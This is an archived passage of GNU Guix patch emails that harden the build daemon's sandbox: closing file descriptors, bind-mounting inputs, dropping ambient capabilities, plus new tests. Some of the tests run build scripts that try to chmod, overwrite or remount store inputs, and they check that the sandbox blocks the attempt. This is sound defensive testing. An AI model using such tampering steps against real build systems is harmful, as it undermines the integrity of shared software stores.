changed, 20 insertions(+), 8 deletions(-) diff --git a/config-daemon.ac b/config-daemon.ac index 6731c68bc39..4e949bc88a3 100644 --- a/config-daemon.ac +++ b/config-daemon.ac @@ -78,7 +78,8 @@ if test "x$guix_build_daemon" = "xyes"; then dnl Chroot support. AC_CHECK_FUNCS([chroot unshare]) - AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h]) + AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \ + linux/close_range.h]) if test "x$ac_cv_func_chroot" != "xyes"; then AC_MSG_ERROR(['chroot' function missing, bailing out]) @@ -95,7 +96,7 @@ if test "x$guix_build_daemon" = "xyes"; then dnl strsignal: for error reporting. dnl statx: fine-grain 'stat' call, new in glibc 2.28. AC_CHECK_FUNCS([lutimes lchown posix_fallocate sched_setaffinity \ - statvfs nanosleep strsignal statx]) + statvfs nanosleep strsignal statx close_range]) dnl Check for <locale>. AC_LANG_PUSH(C++) diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc index 3206dea11b1..eb2d16e1cc3 100644 --- a/nix/libutil/util.cc +++ b/nix/libutil/util.cc @@ -23,6 +23,10 @@ #include <sys/prctl.h> #endif +#ifdef HAVE_LINUX_CLOSE_RANGE_H +# include <linux/close_range.h> +#endif + extern char * * environ; @@ -1087,12 +1091,19 @@ string runProgram(Path program, bool searchPath, const Strings & args) void closeMostFDs(const set<int> & exceptions) { - int maxFD = 0; - maxFD = sysconf(_SC_OPEN_MAX); - for (int fd = 0; fd < maxFD; ++fd) - if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO - && exceptions.find(fd) == exceptions.end()) - close(fd); /* ignore result */ +#ifdef HAVE_CLOSE_RANGE + if (exceptions.empty()) + close_range(3, ~0U, 0); + else +#endif + { + int maxFD = 0; + maxFD = sysconf(_SC_OPEN_MAX); + for (int fd = 0; fd < maxFD; ++fd) + if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO + && exceptions.find(fd) == exceptions.end()) + close(fd); /* ignore result */ + } } -- 2.48.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH v2 2/9] daemon: Bind-mount all the inputs, not just directories. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 12:14:02 +0000 Resent-Message-ID: <handler.75810.B75810.173944882614012 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Reepca Russelstein <reepca@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944882614012 (code B ref 75810); Thu, 13 Feb 2025 12:14:02 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:46 +0000 Received: from localhost ([127.0.0.1]:41128 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiY6A-0003dr-2R for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:45 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:51204) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY5z-0003cI-TK for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:35 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiY5t-0001Be-0u; Thu, 13 Feb 2025 07:13:25 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=G7Jx1/74uyahpmNN6NOOyHz1Zj53iERfANavhA6dHdE=; b=k6urEGcSlNkV/klITo0O 5R6XmUCLsMQMEnezImNYpeuRtW7qhd/d2+gozWagQFj5nubRHZRZ6nYvcWw622KQIetyN/zbvhGCw 0UEOo75yzg40xfZqAfgV9iekpmESAZkG6ElAkVy6IqQvYcXaB8k0WPMbflY79vLTyLyUvUaJhJznp TwAfUpHI4/9VX4itswxYIS1pNwOP4G5vBb1k81YxYDg8UnkGpdjHsAfEPfUM5eTTl/LF78zOx2KsJ wH5GcdOoEFjfNf4D4zu4HrM0XjdRI07CuN9Hn+Z5NtDOIxHslEyC52jjtq6XitIEDxaOSXeTXNfGc H7naFnX0R+LWJA==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Thu, 13 Feb 2025 13:13:05 +0100 Message-ID: <1a481f7f9df95b1c76e69c5e923fa30098e33cbe.1739448513.git.ludo@HIDDEN> X-Mailer: git-send-email 2.48.1 In-Reply-To: <cover.1739448513.git.ludo@HIDDEN> References: <cover.1739448513.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -0.3 (/) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -1.3 (-) * nix/libstore/build.cc (DerivationGoal::startBuilder): Add all of ‘inputPaths’ to ‘dirsInChroot’ instead of hard-linking regular files. Reported-by: Reepca Russelstein <reepca@HIDDEN> Change-Id: I070987f92d73f187f7826a975bee9ee309d67f56 --- nix/libstore/build.cc | 27 ++------------------------- 1 file changed, 2 insertions(+), 25 deletions(-) diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc index edd01bab34d..f4cd2131c84 100644 --- a/nix/libstore/build.cc +++ b/nix/libstore/build.cc @@ -1850,9 +1850,7 @@ void DerivationGoal::startBuilder() /* Make the closure of the inputs available in the chroot, rather than the whole store. This prevents any access - to undeclared dependencies. Directories are bind-mounted, - while other inputs are hard-linked (since only directories - can be bind-mounted). !!! As an extra security + to undeclared dependencies. !!! As an extra security precaution, make the fake store only writable by the build user. */ Path chrootStoreDir = chrootRootDir + settings.nixStore; @@ -1863,28 +1861,7 @@ void DerivationGoal::startBuilder() throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir); foreach (PathSet::iterator, i, inputPaths) { - struct stat st; - if (lstat(i->c_str(), &st)) - throw SysError(format("getting attributes of path `%1%'") % *i); - if (S_ISDIR(st.st_mode)) - dirsInChroot[*i] = *i; - else { - Path p = chrootRootDir + *i; - if (link(i->c_str(), p.c_str()) == -1) { - /* Hard-linking fails if we exceed the maximum - link count on a file (e.g. 32000 of ext3), - which is quite possible after a `nix-store - --optimise'. */ - if (errno != EMLINK) - throw SysError(format("linking `%1%' to `%2%'") % p % *i); - StringSink sink; - dumpPath(*i, sink); - StringSource source(sink.s); - restorePath(p, source); - } - - regularInputPaths.insert(*i); - } + dirsInChroot[*i] = *i; } /* If we're repairing, checking or rebuilding part of a -- 2.48.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH v2 6/9] daemon: Create /var/guix/profiles/per-user unconditionally. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 12:14:03 +0000 Resent-Message-ID: <handler.75810.B75810.173944882614019 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944882614019 (code B ref 75810); Thu, 13 Feb 2025 12:14:03 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:46 +0000 Received: from localhost ([127.0.0.1]:41130 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiY6D-0003dx-Va for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:46 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:51242) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY62-0003cU-Ky for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:36 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiY5x-0001Cm-B1; Thu, 13 Feb 2025 07:13:29 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=Zsh2zvgPChPdygWDGttbjWAWpTHmsPY3r3V/6RFHAxg=; b=fMn3QqCxdzRdQFsZTqUX zd/SpdmJNbIFmnsu7WATyaUFOTRr2YFsXgytj6rUDsZTcLaWt8EOr8B5LTrhkXl/HQAnN4Eu7KH99 hUkCOL9/zrRv6ciGJL5iXofAZT2bnllch/SmbsCalac1IDt2JQVnvN9SQsKh+8YqIOhret4B4wSyT yPhON0UyrR7yWH0sxESN9Hxl5LQTPkgFNy6d6eJrThe1VdH/eAc7cuPfgT4G6nQVrN6WgAuPTl/+D Bdi6+fSeI/dC6qvrRHY+ynSj/UkGnqj3g/ERVrj/SqDNnBXqGyTaR16hN57HXX3Nz0ZfI0Y0P0tM5 YQqXv7no1lB5pA==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Thu, 13 Feb 2025 13:13:09 +0100 Message-ID: <d6e5382ab3c33c467cb753969ca574561e90d8de.1739448513.git.ludo@HIDDEN> X-Mailer: git-send-email 2.48.1 In-Reply-To: <cover.1739448513.git.ludo@HIDDEN> References: <cover.1739448513.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) * nix/libstore/local-store.cc (LocalStore::LocalStore): Create ‘perUserDir’ unconditionally. Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe --- nix/libstore/local-store.cc | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc index 4308264a4f3..63846695194 100644 --- a/nix/libstore/local-store.cc +++ b/nix/libstore/local-store.cc @@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace) createSymlink(profilesDir, gcRootsDir + "/profiles"); } - /* Optionally, create directories and set permissions for a - multi-user install. */ + Path perUserDir = profilesDir + "/per-user"; + createDirs(perUserDir); + + /* Optionally, set permissions for a multi-user install. */ if (getuid() == 0 && settings.buildUsersGroup != "") { - Path perUserDir = profilesDir + "/per-user"; - createDirs(perUserDir); if (chmod(perUserDir.c_str(), 0755) == -1) throw SysError(format("could not set permissions on '%1%' to 755") % perUserDir); -- 2.48.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH v2 7/9] daemon: Drop Linux ambient capabilities before executing builder. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 12:14:03 +0000 Resent-Message-ID: <handler.75810.B75810.173944882614028 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944882614028 (code B ref 75810); Thu, 13 Feb 2025 12:14:03 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:46 +0000 Received: from localhost ([127.0.0.1]:41132 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiY6E-0003e4-Ai for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:46 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:41562) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY63-0003cc-L3 for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:37 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiY5y-0001D3-Aa; Thu, 13 Feb 2025 07:13:30 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=pd3jEQEVWdyi/LNttJNlAO+MmH58xfjNxu8WkPG+5kM=; b=lyniOA6dfNo4JP+NNQ8e N9QkR5DkhTP20jWd1mhD1JcTaERQEu9V1xqPg5paD7vHFQotpXHjPQbrZpi5UYOJsGAgt3G8bESCa rxBSfgB8AkEbyOtx7agNw3z1c2Jln3ZxtZfrQc+mHniMzNKnzAnsjFJMjyzCH1m838tTdXVJsHJFj ojilptPNCvglWaNR/NALcnlsI9lwfmCDKM5BDvWUnJb0JWLq5ZR54hy7Gco5FU+Q98ggEerQ86kVT azIDvv0drEWHIG+dAo74b007uTZz//iRv42as6bUIFj2T6K6WnSweP0pznTpoUdJ4UTlzwG4zXH1P VCVkLbQccmcA6A==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Thu, 13 Feb 2025 13:13:10 +0100 Message-ID: <06b47bf0dcee78ac73405afe118f7ed7f0a374fa.1739448513.git.ludo@HIDDEN> X-Mailer: git-send-email 2.48.1 In-Reply-To: <cover.1739448513.git.ludo@HIDDEN> References: <cover.1739448513.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) * config-daemon.ac: Check for <sys/prctl.h>. * nix/libstore/build.cc (DerivationGoal::runChild): When ‘useChroot’ is true, call ‘prctl’ to drop all ambient capabilities. Change-Id: If34637fc508e5fb6d278167f5df7802fc595284f --- config-daemon.ac | 2 +- nix/libstore/build.cc | 9 +++++++++ 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/config-daemon.ac b/config-daemon.ac index 4e949bc88a3..35d9c8cd56b 100644 --- a/config-daemon.ac +++ b/config-daemon.ac @@ -79,7 +79,7 @@ if test "x$guix_build_daemon" = "xyes"; then dnl Chroot support. AC_CHECK_FUNCS([chroot unshare]) AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \ - linux/close_range.h]) + linux/close_range.h sys/prctl.h]) if test "x$ac_cv_func_chroot" != "xyes"; then AC_MSG_ERROR(['chroot' function missing, bailing out]) diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc index 18dd27460b7..4280b8abff8 100644 --- a/nix/libstore/build.cc +++ b/nix/libstore/build.cc @@ -50,6 +50,9 @@ #if HAVE_SCHED_H #include <sched.h> #endif +#if HAVE_SYS_PRCTL_H +#include <sys/prctl.h> +#endif #define CHROOT_ENABLED HAVE_CHROOT && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_PRIVATE) @@ -2059,6 +2062,12 @@ void DerivationGoal::runChild() #if CHROOT_ENABLED if (useChroot) { +# if HAVE_SYS_PRCTL_H + /* Drop ambient capabilities such as CAP_CHOWN that might have + been granted when starting guix-daemon. */ + prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0); +# endif + if (!fixedOutput) { /* Initialise the loopback interface. */ AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); -- 2.48.1
X-Loop: help-debbugs@HIDDEN Subject: [bug#75810] [PATCH v2 5/9] DRAFT tests: Run in a chroot and unprivileged user namespaces. Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> Resent-CC: guix-patches@HIDDEN Resent-Date: Thu, 13 Feb 2025 12:14:03 +0000 Resent-Message-ID: <handler.75810.B75810.173944882714034 <at> debbugs.gnu.org> Resent-Sender: help-debbugs@HIDDEN X-GNU-PR-Message: followup 75810 X-GNU-PR-Package: guix-patches X-GNU-PR-Keywords: patch To: 75810 <at> debbugs.gnu.org Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173944882714034 (code B ref 75810); Thu, 13 Feb 2025 12:14:03 +0000 Received: (at 75810) by debbugs.gnu.org; 13 Feb 2025 12:13:47 +0000 Received: from localhost ([127.0.0.1]:41134 helo=debbugs.gnu.org) by debbugs.gnu.org with esmtp (Exim 4.84_2) (envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>) id 1tiY6E-0003eE-PO for submit <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:47 -0500 Received: from eggs.gnu.org ([2001:470:142:3::10]:51220) by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tiY61-0003cM-Jl for 75810 <at> debbugs.gnu.org; Thu, 13 Feb 2025 07:13:37 -0500 Received: from fencepost.gnu.org ([2001:470:142:3::e]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tiY5w-0001Cb-9l; Thu, 13 Feb 2025 07:13:28 -0500 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org; s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To: From; bh=a5JtM26SxyhofCBFMp0yoAhLEcbZEpHKDsd7swN2muU=; b=OSxRTznh/gM3SjY+6BWG yP2Ib2pQ2zagVzkvjFk+LHc/J+azdFmsxcSHvnGgzSQOkGEiEUSIglGCkBO8AhGr4GkyVYW7XmC0v pdMzjoOZUPiZBUbvkIXP1V6Ztl7Q4XbKKLgVrH7hmUdigvuWNRE7tDc8p6TKRfS5MbSThYiljAkI5 qPW7eu/lQrJdp0zcEOvC9nCQCvTam2nn8AffU1/MSr7j1D7LqhHbi+vSjb/Qy2J/iV4+B/RFxq/Dl UE7T9q6AVnkPOkNjdpLpxiUmfCiaVbsClSQsemFjrWD4G+QPwCT5xA2hzZIftrjYwXnCCOwXCtI62 2qG1hlVR07WoTA==; From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN> Date: Thu, 13 Feb 2025 13:13:08 +0100 Message-ID: <913c41825df54b9c7d1fbad1fb1e7e9f48bd0d13.1739448513.git.ludo@HIDDEN> X-Mailer: git-send-email 2.48.1 In-Reply-To: <cover.1739448513.git.ludo@HIDDEN> References: <cover.1739448513.git.ludo@HIDDEN> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.3 (--) X-BeenThere: debbugs-submit <at> debbugs.gnu.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: <debbugs-submit.debbugs.gnu.org> List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe> List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/> List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org> List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help> List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe> Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org> X-Spam-Score: -3.3 (---) DRAFT: - Double-check the test suite. * build-aux/test-env.in: Pass ‘--disable-chroot’ only when unprivileged user namespace support is lacking. * tests/store.scm ("build-things, check mode"): Use ‘gettimeofday’ rather than a shared file as a source of entropy. ("isolated environment", "inputs are read-only") ("inputs cannot be remounted read-write"): New tests. Change-Id: Iedb816ef548c77799e5b2f9b6a3b7510ad19ec2a --- build-aux/test-env.in | 14 +++- tests/store.scm | 144 ++++++++++++++++++++++++++++++++---------- 2 files changed, 121 insertions(+), 37 deletions(-) diff --git a/build-aux/test-env.in b/build-aux/test-env.in index 9caa29da581..5626152b346 100644 --- a/build-aux/test-env.in +++ b/build-aux/test-env.in @@ -1,7 +1,7 @@ #!/bin/sh # GNU Guix --- Functional package management for GNU -# Copyright © 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019, 2021 Ludovic Courtès <ludo@HIDDEN> +# Copyright © 2012-2019, 2021, 2025 Ludovic Courtès <ludo@HIDDEN> # # This file is part of GNU Guix. # @@ -102,10 +102,20 @@ then rm -rf "$GUIX_STATE_DIRECTORY/daemon-socket" mkdir -m 0700 "$GUIX_STATE_DIRECTORY/daemon-socket" + # If unprivileged user namespaces are not supported, pass + # '--disable-chroot'. + if [ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \ + || [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ]; then + extra_options="" + else + extra_options="--disable-chroot" + fi + # Launch the daemon without chroot support because is may be # unavailable, for instance if we're not running as root. "@abs_top_builddir@/pre-inst-env" \ - "@abs_top_builddir@/guix-daemon" --disable-chroot \ + "@abs_top_builddir@/guix-daemon" \ + $extra_options \ --substitute-urls="$GUIX_BINARY_SUBSTITUTE_URL" & daemon_pid=$! diff --git a/tests/store.scm b/tests/store.scm index 45948f4f433..cf19cf91211 100644 --- a/tests/store.scm +++ b/tests/store.scm @@ -1,5 +1,5 @@ ;;; GNU Guix --- Functional package management for GNU -;;; Copyright © 2012-2021, 2023 Ludovic Courtès <ludo@HIDDEN> +;;; Copyright © 2012-2021, 2023, 2025 Ludovic Courtès <ludo@HIDDEN> ;;; ;;; This file is part of GNU Guix. ;;; @@ -28,8 +28,12 @@ (define-module (test-store) #:use-module (guix base32) #:use-module (guix packages) #:use-module (guix derivations) + #:use-module ((guix modules) + #:select (source-module-closure)) #:use-module (guix serialization) #:use-module (guix build utils) + #:use-module ((gnu build linux-container) + #:select (unprivileged-user-namespace-supported?)) #:use-module (guix gexp) #:use-module (gnu packages) #:use-module (gnu packages bootstrap) @@ -391,6 +395,85 @@ (define %shell (equal? (valid-derivers %store o) (list (derivation-file-name d)))))) +(unless (unprivileged-user-namespace-supported?) + (test-skip 1)) +(test-equal "isolated environment" + (string-join (append + '("PID: 1" "UID: 30001") + (delete-duplicates + (sort (list "/dev" "/tmp" "/proc" "/etc" + (match (string-tokenize (%store-prefix) + (char-set-complement + (char-set #\/))) + ((top _ ...) (string-append "/" top)))) + string<?)) + '("/etc/group" "/etc/hosts" "/etc/passwd"))) + (let* ((b (add-text-to-store %store "build.sh" + "echo -n PID: $$ UID: $UID /* /etc/* > $out")) + (s (add-to-store %store "bash" #t "sha256" + (search-bootstrap-binary "bash" + (%current-system)))) + (d (derivation %store "the-thing" + s `("-e" ,b) + #:env-vars `(("foo" . ,(random-text))) + #:sources (list b s))) + (o (derivation->output-path d))) + (and (build-derivations %store (list d)) + (call-with-input-file o get-string-all)))) + +(unless (unprivileged-user-namespace-supported?) + (test-skip 1)) +(test-equal "inputs are read-only" + "All good!" + (let* ((input (plain-file (string-append "might-be-tampered-with-" + (number->string + (car (gettimeofday)) + 16)) + "All good!")) + (drv + (run-with-store %store + (gexp->derivation + "attempt-to-remount-input-read-write" + (with-imported-modules (source-module-closure + '((guix build syscalls))) + #~(begin + (use-modules (guix build syscalls)) + + (let ((input #$input)) + (chmod input #o666) + (call-with-output-file input + (lambda (port) + (display "BAD!" port))) + (mkdir #$output)))))))) + (and (guard (c ((store-protocol-error? c) #t)) + (build-derivations %store (list drv))) + (call-with-input-file (run-with-store %store + (lower-object input)) + get-string-all)))) + +(unless (unprivileged-user-namespace-supported?) + (test-skip 1)) +(test-assert "inputs cannot be remounted read-write" + (let ((drv + (run-with-store %store + (gexp->derivation + "attempt-to-remount-input-read-write" + (with-imported-modules (source-module-closure + '((guix build syscalls))) + #~(begin + (use-modules (guix build syscalls)) + + (let ((input #$(plain-file "input-that-might-be-tampered-with" + "All good!"))) + (mount "none" input "none" (logior MS_BIND MS_REMOUNT)) + (call-with-output-file input + (lambda (port) + (display "BAD!" port))) + (mkdir #$output)))))))) + (guard (c ((store-protocol-error? c) #t)) + (build-derivations %store (list drv)) + #f))) + (test-equal "with-build-handler" 'success (let* ((b (add-text-to-store %store "build" "echo $foo > $out" '())) @@ -1333,40 +1416,31 @@ (define %shell (test-assert "build-things, check mode" (with-store store - (call-with-temporary-output-file - (lambda (entropy entropy-port) - (write (random-text) entropy-port) - (force-output entropy-port) - (let* ((drv (build-expression->derivation - store "non-deterministic" - `(begin - (use-modules (rnrs io ports)) - (let ((out (assoc-ref %outputs "out"))) - (call-with-output-file out - (lambda (port) - ;; Rely on the fact that tests do not use the - ;; chroot, and thus ENTROPY is readable. - (display (call-with-input-file ,entropy - get-string-all) - port))) - #t)) - #:guile-for-build - (package-derivation store %bootstrap-guile (%current-system)))) - (file (derivation->output-path drv))) - (and (build-things store (list (derivation-file-name drv))) - (begin - (write (random-text) entropy-port) - (force-output entropy-port) - (guard (c ((store-protocol-error? c) - (pk 'determinism-exception c) - (and (not (zero? (store-protocol-error-status c))) - (string-contains (store-protocol-error-message c) - "deterministic")))) - ;; This one will produce a different result. Since we're in - ;; 'check' mode, this must fail. - (build-things store (list (derivation-file-name drv)) - (build-mode check)) - #f)))))))) + (let* ((drv (build-expression->derivation + store "non-deterministic" + `(begin + (use-modules (rnrs io ports)) + (let ((out (assoc-ref %outputs "out"))) + (call-with-output-file out + (lambda (port) + (let ((now (gettimeofday))) + (display (+ (car now) (cdr now)) port)))) + #t)) + #:guile-for-build + (package-derivation store %bootstrap-guile (%current-system)))) + (file (derivation->output-path drv))) + (and (build-things store (list 